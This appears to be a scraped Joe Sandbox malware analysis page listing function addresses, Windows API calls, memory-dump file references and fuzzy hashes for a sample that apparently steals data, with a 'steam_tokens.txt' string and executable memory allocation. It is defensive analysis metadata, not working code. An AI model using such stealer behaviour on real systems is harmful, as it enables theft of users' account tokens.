Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: 8da63ec0273cbfdc4571dd0fa90f7488fd45b667a45c1e88d357ca05aac93766
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 8da63ec0273cbfdc4571dd0fa90f7488fd45b667a45c1e88d357ca05aac93766
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02555E18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: d19869e9ee21e98ce74e6ba28bdc72e146db7fe72b8a7f6212176cc5f604e5af
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: d19869e9ee21e98ce74e6ba28bdc72e146db7fe72b8a7f6212176cc5f604e5af
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: 57b946637f6b0d3fc9b9e605637c64e562fdcdea12cd199cb348b86b6e6bd926
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 57b946637f6b0d3fc9b9e605637c64e562fdcdea12cd199cb348b86b6e6bd926
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7a32fd16661a00ecb6da22790568fba7b8ce1ec3cd347d4ff2ab8961cf702281
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7a32fd16661a00ecb6da22790568fba7b8ce1ec3cd347d4ff2ab8961cf702281
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f194bd07cfb6621efba2fe465599d8ee65c11842eef219b4756db892ab7a18e3
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: f194bd07cfb6621efba2fe465599d8ee65c11842eef219b4756db892ab7a18e3
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,02579EF8), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 0ea1cf1f72fc9817da23206f9e352bb5a837bc8796f2f49e4f6748ccf4e38754
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 0ea1cf1f72fc9817da23206f9e352bb5a837bc8796f2f49e4f6748ccf4e38754
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
